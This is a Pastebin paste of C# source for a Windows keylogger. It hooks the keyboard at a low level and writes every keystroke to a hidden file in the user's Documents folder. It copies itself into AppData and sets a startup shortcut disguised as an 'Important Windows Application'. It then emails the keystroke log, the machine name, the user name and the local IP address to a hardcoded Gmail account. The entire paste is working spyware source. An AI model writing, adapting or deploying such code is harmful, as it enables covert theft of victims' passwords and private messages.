Advertisement
Guest User

source

a guest
Dec 12th, 2019
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 16.18 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.IO;
  7. using System.Threading;
  8. using System.Windows.Forms;
  9. using System.Runtime.InteropServices;
  10. using static System.Resources.ResXFileRef;
  11. using System.Net.Mail;
  12. using System.Diagnostics;
  13. using IWshRuntimeLibrary;
  14. using File = System.IO.File;
  15. using Microsoft.Win32;
  16. using System.Runtime.InteropServices.ComTypes;
  17. using System.Net;
  18. using System.Net.Sockets;
  19.  
  20. namespace Keyattempt3
  21. {
  22. class Program
  23. {
  24. private static int WM_KEYBOARD_LL = 13;
  25. private static int WM_KEYDOWN = 0x0100;
  26. private static IntPtr hook = IntPtr.Zero;
  27. private static LowLevelKeyboardProc llkProcedure = HookCallBack;
  28. static void Main(string[] args)
  29. {
  30.  
  31. //GetIPAddress();
  32.  
  33. String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
  34. dir = dir + @"\Docs\";
  35. String dir2 = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
  36. dir2 = dir2 + @"\Roaming\";
  37.  
  38. if (File.Exists(dir + "wind.txt"))
  39. {
  40. SendEmail();
  41. Create();
  42.  
  43.  
  44. }
  45. else if (!File.Exists(dir + "wind.txt"))
  46. {
  47. String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
  48. filepath = filepath + @"\Docs\";
  49.  
  50. if (!Directory.Exists(filepath))
  51. {
  52. Directory.CreateDirectory(filepath);
  53.  
  54. }
  55.  
  56. string path = (@filepath + "Wind.txt");
  57.  
  58. if (!File.Exists(path))
  59. {
  60. using (StreamWriter sw = File.CreateText(path))
  61. {
  62.  
  63. }
  64. SendEmail();
  65.  
  66. }
  67. Clone();
  68. Create();
  69.  
  70. }
  71. else
  72. {
  73. String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
  74. filepath = filepath + @"\Docs\";
  75.  
  76. if (!Directory.Exists(filepath))
  77. {
  78. Directory.CreateDirectory(filepath);
  79. }
  80.  
  81. string path = (@filepath + "Wind.txt");
  82.  
  83. if (!File.Exists(path))
  84. {
  85. using (StreamWriter sw = File.CreateText(path))
  86. {
  87.  
  88. }
  89. SendEmail();
  90.  
  91. }
  92. Clone();
  93. Create();
  94. }
  95.  
  96. hook = SetHook(llkProcedure);
  97. Application.Run();
  98. UnhookwindowsHookEx(hook);
  99. }
  100.  
  101. private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
  102. private static IntPtr HookCallBack(int nCode, IntPtr wParam, IntPtr lParam)
  103. {
  104. if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
  105. {
  106. String filepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
  107. filepath = filepath + @"\Docs\";
  108.  
  109. if (!Directory.Exists(filepath))
  110. {
  111. Directory.CreateDirectory(filepath);
  112. }
  113.  
  114. string path = (@filepath + "Wind.txt");
  115.  
  116. if (!File.Exists(path))
  117. {
  118. using (StreamWriter sw = File.CreateText(path))
  119. {
  120.  
  121. }
  122.  
  123. }
  124.  
  125. else
  126. {
  127. int vkCode = Marshal.ReadInt32(lParam);
  128. String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
  129.  
  130. if (((Keys)vkCode).ToString() == "OemPeriod")
  131. {
  132.  
  133. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  134. sw.Write(".");
  135. sw.Close();
  136. }
  137. else if (((Keys)vkCode).ToString() == "Oemcomma")
  138. {
  139.  
  140. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  141. sw.Write(",");
  142. sw.Close();
  143. }
  144. else if (((Keys)vkCode).ToString() == "Oemplus")
  145. {
  146.  
  147. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  148. sw.Write("[+/=]");
  149. sw.Close();
  150. }
  151. else if (((Keys)vkCode).ToString() == "OemMinus")
  152. {
  153.  
  154. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  155. sw.Write("[-/_]");
  156. sw.Close();
  157. }
  158. else if (((Keys)vkCode).ToString() == "Space")
  159. {
  160.  
  161. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  162. sw.Write(" ");
  163. sw.Close();
  164. }
  165. else if (((Keys)vkCode).ToString() == "RShiftKey")
  166. {
  167.  
  168. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  169. sw.Write("[RShiftKey] ");
  170. sw.Close();
  171. }
  172. else if (((Keys)vkCode).ToString() == "LShiftKey")
  173. {
  174.  
  175. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  176. sw.Write("[LShiftKey] ");
  177. sw.Close();
  178. }
  179. else if (((Keys)vkCode).ToString() == "Return")
  180. {
  181.  
  182. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  183. sw.Write("[Enter/Return] ");
  184. sw.Close();
  185. }
  186. else if (((Keys)vkCode).ToString() == "Back")
  187. {
  188.  
  189. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  190. sw.Write("[Backspace] ");
  191. sw.Close();
  192. }
  193. else if (((Keys)vkCode).ToString() == "Delete")
  194. {
  195.  
  196. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  197. sw.Write("[Del] ");
  198. sw.Close();
  199. }
  200. else if (((Keys)vkCode).ToString() == "[LControlKey]")
  201. {
  202.  
  203. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  204. sw.Write("LControlKey ");
  205. sw.Close();
  206. }
  207. else if (((Keys)vkCode).ToString() == "[RControlKey]")
  208. {
  209.  
  210. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  211. sw.Write("[RControlKey] ");
  212. sw.Close();
  213. }
  214. else if (((Keys)vkCode).ToString() == "D1")
  215. {
  216.  
  217. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  218. sw.Write("1");
  219. sw.Close();
  220. }
  221. else if (((Keys)vkCode).ToString() == "D2")
  222. {
  223.  
  224. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  225. sw.Write("2");
  226. sw.Close();
  227. }
  228. else if (((Keys)vkCode).ToString() == "D3")
  229. {
  230.  
  231. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  232. sw.Write("3");
  233. sw.Close();
  234. }
  235. else if (((Keys)vkCode).ToString() == "D4")
  236. {
  237.  
  238. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  239. sw.Write("4");
  240. sw.Close();
  241. }
  242. else if (((Keys)vkCode).ToString() == "D5")
  243. {
  244.  
  245. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  246. sw.Write("5");
  247. sw.Close();
  248. }
  249. else if (((Keys)vkCode).ToString() == "D6")
  250. {
  251.  
  252. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  253. sw.Write("6");
  254. sw.Close();
  255. }
  256. else if (((Keys)vkCode).ToString() == "D7")
  257. {
  258.  
  259. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  260. sw.Write("7");
  261. sw.Close();
  262. }
  263. else if (((Keys)vkCode).ToString() == "D8")
  264. {
  265.  
  266. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  267. sw.Write("8");
  268. sw.Close();
  269. }
  270. else if (((Keys)vkCode).ToString() == "D9")
  271. {
  272.  
  273. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  274. sw.Write("9");
  275. sw.Close();
  276. }
  277. else if (((Keys)vkCode).ToString() == "D0")
  278. {
  279.  
  280. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  281. sw.Write("0");
  282. sw.Close();
  283. }
  284. else if (((Keys)vkCode).ToString() == "OemQuestion")
  285. {
  286.  
  287. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  288. sw.Write("?");
  289. sw.Close();
  290.  
  291. }
  292. else
  293. {
  294. //Console.Out.Write((Keys)vkCode);
  295.  
  296. StreamWriter sw = new StreamWriter(dir + @"\Docs\Wind.txt", true);
  297. sw.Write(((Keys)vkCode));
  298. sw.Close();
  299. }
  300. }
  301.  
  302. }
  303. return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
  304. }
  305.  
  306.  
  307. private static IntPtr SetHook(LowLevelKeyboardProc proc)
  308. {
  309. Process currentProcess = Process.GetCurrentProcess();
  310. ProcessModule currentModule = currentProcess.MainModule;
  311. String moduleName = currentModule.ModuleName;
  312. IntPtr moduleHandle = GetModuleHandle(moduleName);
  313.  
  314. return SetWindowsHookEx(WM_KEYBOARD_LL, llkProcedure, moduleHandle, 0);
  315. }
  316.  
  317.  
  318. static void SendEmail()
  319. {
  320. string localIP;
  321. using (Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, 0))
  322. {
  323. socket.Connect("8.8.8.8", 65530);
  324. IPEndPoint endPoint = socket.LocalEndPoint as IPEndPoint;
  325. localIP = endPoint.Address.ToString();
  326. }
  327.  
  328. String Newfilepath = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
  329. string Newfilepath2 = Newfilepath + @"\Docs\Wind.txt";
  330. DateTime dateTime = DateTime.Now;
  331. String pcname = Environment.MachineName + " " + Environment.UserName + " logged ";
  332.  
  333. //pcname = ("logged " + pcname);
  334. //string subtext = "logged ";
  335.  
  336. pcname += dateTime + " ";
  337.  
  338. SmtpClient client = new SmtpClient("smtp.gmail.com", 587); //Email service
  339. MailMessage LOGMESSAGE = new MailMessage();
  340.  
  341. //Email sent from and to//
  342.  
  343. LOGMESSAGE.From = new MailAddress("testingkey482@gmail.com");
  344. LOGMESSAGE.To.Add("testingkey482@gmail.com");
  345. LOGMESSAGE.Subject = pcname;
  346.  
  347. client.UseDefaultCredentials = false;
  348. client.EnableSsl = true;
  349. client.Credentials = new System.Net.NetworkCredential(" ", " ");
  350.  
  351. string newfile = File.ReadAllText(Newfilepath2);
  352.  
  353.  
  354.  
  355.  
  356. string attachTextFile = Newfilepath + @"\Docs\WinConfig.txt";
  357. File.WriteAllText(attachTextFile, newfile);
  358.  
  359. LOGMESSAGE.Attachments.Add(new Attachment(attachTextFile));
  360. LOGMESSAGE.Body = pcname + "IP: " + localIP;
  361.  
  362.  
  363. client.Send(LOGMESSAGE);
  364. LOGMESSAGE = null;
  365.  
  366. }
  367. public static string GetIPAddress()
  368. {
  369. var host = Dns.GetHostEntry(Dns.GetHostName());
  370. foreach (var ip in host.AddressList)
  371. {
  372. if (ip.AddressFamily == AddressFamily.InterNetwork)
  373. {
  374. return ip.ToString();
  375. }
  376. }
  377. throw new Exception("No network adapters with an IPv4 address in the system!");
  378. }
  379. static void Create()
  380. {
  381.  
  382. String dir = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
  383. dir = dir + @"\Docs\Wind.txt";
  384.  
  385. if (!Directory.Exists(dir))
  386. {
  387.  
  388. String tpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
  389. tpath = tpath + @"\ImportantWindowsApplication.exe";
  390.  
  391. var wsh = new WshShell();
  392.  
  393. IWshShortcut shortcut = wsh.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\Important Windows Application.lnk") as IWshRuntimeLibrary.IWshShortcut;
  394. shortcut.Arguments = "";
  395. shortcut.TargetPath = tpath;
  396.  
  397. shortcut.WindowStyle = 1;
  398. shortcut.Description = "Shortcut";
  399. shortcut.WorkingDirectory = tpath; //@"\Important Windows Application.exe";
  400. shortcut.IconLocation = "icon.ico";
  401. shortcut.Save();
  402.  
  403. }
  404. else
  405. {
  406. throw new NotImplementedException();
  407. }
  408. }
  409.  
  410. static void Clone()
  411. {
  412. String fileName = String.Concat(Process.GetCurrentProcess().ProcessName, ".exe");
  413. String filePath = Path.Combine(Environment.CurrentDirectory, fileName);
  414. File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), fileName));
  415. }
  416.  
  417. [DllImport("user32.dll")]
  418. private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
  419.  
  420. [DllImport("user32.dll")]
  421. private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadid);
  422.  
  423. [DllImport("user32.dll")]
  424.  
  425. private static extern bool UnhookwindowsHookEx(IntPtr hhk);
  426.  
  427. [DllImport("kernel32.dll")]
  428. private static extern IntPtr GetModuleHandle(String lpModuleName);
  429. }
  430.  
  431. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement